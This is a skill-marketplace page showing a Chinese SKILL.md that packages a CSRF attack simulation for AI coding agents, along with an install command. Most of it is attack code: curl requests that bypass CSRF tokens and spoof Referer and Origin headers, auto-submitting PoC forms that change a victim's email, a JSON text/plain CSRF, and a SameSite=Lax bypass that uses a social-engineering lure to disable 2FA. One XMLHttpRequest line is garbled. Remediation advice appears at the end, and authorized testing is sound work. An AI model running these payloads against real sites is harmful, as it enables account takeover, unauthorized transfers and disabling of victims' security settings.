القائمة
在授权安全评估中，通过构造利用已认证用户会话的伪造请求，测试 Web 应用程序的跨站请求伪造（CSRF）漏洞。
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill performing-csrf-attack-simulationيبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
عرض SKILL.md
استنادا إلى تصنيف SOC المهني
| name | performing-csrf-attack-simulation |
| description | 在授权安全评估中，通过构造利用已认证用户会话的伪造请求，测试 Web 应用程序的跨站请求伪造（CSRF）漏洞。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","csrf","owasp","web-security","session-management","burpsuite"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
http.server）浏览应用程序，识别所有修改服务器端状态的 POST/PUT/DELETE 请求。
# 在 Burp Suite 中，查看 Proxy > HTTP History
# 过滤 POST/PUT/DELETE 方法
# 重点关注以下操作：
# - 密码/邮箱修改
# - 资金/金钱转账
# - 账户设置变更
# - 添加/删除用户或权限
# - 创建/删除资源
# - 切换安全功能（禁用双因素认证）
# Burp 中捕获的状态变更请求示例：
POST /api/account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=abc123def456
Content-Type: application/x-www-form-urlencoded
email=newemail@example.com
# 检查反 CSRF 保护：
# - 表单字段或头部中的 CSRF 令牌
# - 自定义头部（X-CSRF-Token、X-Requested-With）
# - SameSite Cookie 属性
# - Referer/Origin 头部验证
测试现有 CSRF 保护的强度和执行情况。
# 检查是否存在 CSRF 令牌
curl -s -b "session=abc123" \
"https://target.example.com/account/settings" | \
grep -i "csrf\|token\|_token"
# 测试 1：完全删除 CSRF 令牌
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# 测试 2：发送空的 CSRF 令牌
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# 测试 3：使用随机/无效的 CSRF 令牌
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# 测试 4：复用过期/旧的 CSRF 令牌
curl -s -X POST \
-b "session=abc123" \
-d "email=test@evil.com&csrf_token=previously_captured_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# 测试 5：使用用户 B 的 CSRF 令牌与用户 A 的会话
curl -s -X POST \
-b "session=user_a_session" \
-d "email=test@evil.com&csrf_token=user_b_csrf_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
验证基于浏览器和头部的 CSRF 防御。
# 检查会话 Cookie 上的 SameSite 属性
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
# 查找：SameSite=Strict、SameSite=Lax 或 SameSite=None
# SameSite=Lax 允许对顶层 GET 导航进行 CSRF
# SameSite=None; Secure 允许跨站请求
# 无 SameSite 属性：浏览器默认为 Lax（现代浏览器）
# 检查 Origin/Referer 头部验证
# 发送不含 Referer 的请求
curl -s -X POST \
-b "session=abc123" \
-H "Referer: " \
-d "email=test@evil.com&csrf_token=valid_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# 发送含恶意 Referer 的请求
curl -s -X POST \
-b "session=abc123" \
-H "Referer: https://evil.example.com/attack" \
-d "email=test@evil.com&csrf_token=valid_token" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
# 发送伪造 Origin 的请求
curl -s -X POST \
-b "session=abc123" \
-H "Origin: https://evil.example.com" \
-d "email=test@evil.com" \
"https://target.example.com/api/account/change-email" \
-w "%{http_code}"
使用 Burp 内置的 CSRF PoC 生成器进行快速测试。
# 在 Burp Suite 中：
# 1. 右键点击 Proxy > HTTP History 中的目标请求
# 2. 选择"Engagement tools">"Generate CSRF PoC"
# 3. 点击"Test in browser"验证 PoC
# Burp 生成如下 HTML：
<!-- 自动提交的表单编码 POST CSRF PoC -->
<html>
<body>
<h1>加载中...</h1>
<form action="https://target.example.com/api/account/change-email"
method="POST" id="csrf-form">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
针对 JSON API 和其他非标准内容类型，使用高级技术。
<!-- 使用 enctype 的 JSON API CSRF 表单 -->
<html>
<body>
<form action="https://target.example.com/api/account/change-email"
method="POST"
enctype="text/plain"
id="csrf-form">
<input type="hidden"
name='{"email":"attacker@evil.com","ignore":"'
value='"}' />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
<!-- 通过 XMLHttpRequest 的 CSRF（需要宽松的 CORS） -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(.({: }));
托管 PoC 并确认成功利用。
# 启动本地 Web 服务器托管 CSRF PoC
cd /tmp/csrf-poc
python3 -m http.server 8888
# PoC 文件结构：
# /tmp/csrf-poc/
# index.html <- CSRF PoC 页面
# change-email.html <- 邮箱修改 CSRF
# transfer.html <- 资金转账 CSRF
# 测试步骤：
# 1. 在浏览器 A 中以受害者用户身份登录目标
# 2. 在浏览器 A 中打开 http://localhost:8888/change-email.html
# 3. 检查邮箱是否在未经受害者同意的情况下被修改
# 4. 在应用程序中验证状态变更
# 通过顶层导航绕过 SameSite=Lax：
# 对基于 GET 的 CSRF 使用 window.open 或 anchor 标签
<!-- 使用顶层导航绕过 SameSite=Lax -->
<html>
<body>
<a href="https://target.example.com/api/settings?action=disable_2fa"
id="csrf-link">点击此处获得奖励！</a>
<script>
// 通过社会工程学上下文自动点击
// SameSite=Lax 允许在顶层 GET 导航时携带 Cookie
</script>
</body>
</html>
| 概念 | 定义 |
|---|---|
| CSRF | 欺骗已认证用户的浏览器向存在漏洞的站点发出非预期请求的攻击 |
| 反 CSRF 令牌（Anti-CSRF Token） | 绑定到用户会话的唯一不可预测值，必须包含在状态变更请求中 |
| SameSite Cookie | 控制 Cookie 在跨站请求中何时发送的浏览器属性（Strict、Lax、None） |
| Origin 头部 | 表明请求来源的 HTTP 头部，用于 CSRF 验证 |
| Referer 头部 | 包含引用页面 URL 的 HTTP 头部，有时用于 CSRF 检查 |
| 双重提交 Cookie（Double Submit Cookie） | 比较 Cookie 值与请求参数值的 CSRF 防御方式 |
| 同步器令牌模式（Synchronizer Token Pattern） | 服务器为每个会话或每个请求生成并验证唯一令牌 |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | CSRF PoC 生成器和请求分析 |
| OWASP ZAP | 反 CSRF 令牌检测和 CSRF 测试 |
| XSRFProbe | 自动化 CSRF 漏洞扫描器（pip install xsrfprobe） |
| Python http.server | 用于托管 CSRF PoC 页面的本地 Web 服务器 |
| Browser DevTools | 检查 Cookie、SameSite 属性和网络请求 |
| CSRFTester (OWASP) | 用于构造和测试 CSRF 攻击的旧版工具 |
邮箱修改表单不包含 CSRF 令牌。攻击者托管一个自动提交表单的页面，将受害者邮箱修改为攻击者地址，从而通过密码重置链实现账户接管。
银行应用程序具有 CSRF 令牌，但如果参数被完全省略则不进行验证。从转账表单中删除 csrf_token 字段即可实现跨站资金转账。
JSON API 端点不需要自定义头部。在 HTML 表单中使用 enctype="text/plain"，攻击者可以构造有效的 JSON 请求体来修改受害者的账户设置。
设置页面通过 GET 请求修改状态（/settings?disable_2fa=true）。由于 SameSite=Lax 允许在顶层 GET 导航时携带 Cookie，将受害者链接到此 URL 即可禁用其双因素认证。
## CSRF 漏洞发现报告
**漏洞**：跨站请求伪造（邮箱修改）
**严重程度**：高（CVSS 8.0）
**位置**：POST /api/account/change-email
**OWASP 类别**：A01:2021 - 访问控制失效
### 复现步骤
1. 以受害者身份在 https://target.example.com 认证
2. 在攻击者控制的服务器上托管以下 HTML
3. 诱使受害者在已认证状态下访问攻击者页面
4. 受害者邮箱在未经同意的情况下被修改为 attacker@evil.com
### 已测试的反 CSRF 防御
| 防御措施 | 是否存在 | 是否强制执行 |
|---------|---------|----------|
| CSRF 令牌 | 否 | 不适用 |
| SameSite Cookie | Lax | 部分（GET 绕过） |
| Origin 验证 | 否 | 不适用 |
| Referer 验证 | 否 | 不适用 |
| 需要自定义头部 | 否 | 不适用 |
### 影响
- 通过邮箱修改 + 密码重置链实现账户接管
- 未授权资金转账
- 设置修改（禁用双因素认证、通知变更）
### 修复建议
1. 对所有状态变更请求实施同步器令牌模式（反 CSRF 令牌）
2. 尽可能在会话 Cookie 上设置 SameSite=Strict
3. 将 Origin 和 Referer 头部验证作为深度防御措施
4. 对敏感操作（密码修改、资金转账）要求重新认证
5. 对 AJAX 端点使用自定义请求头（X-Requested-With）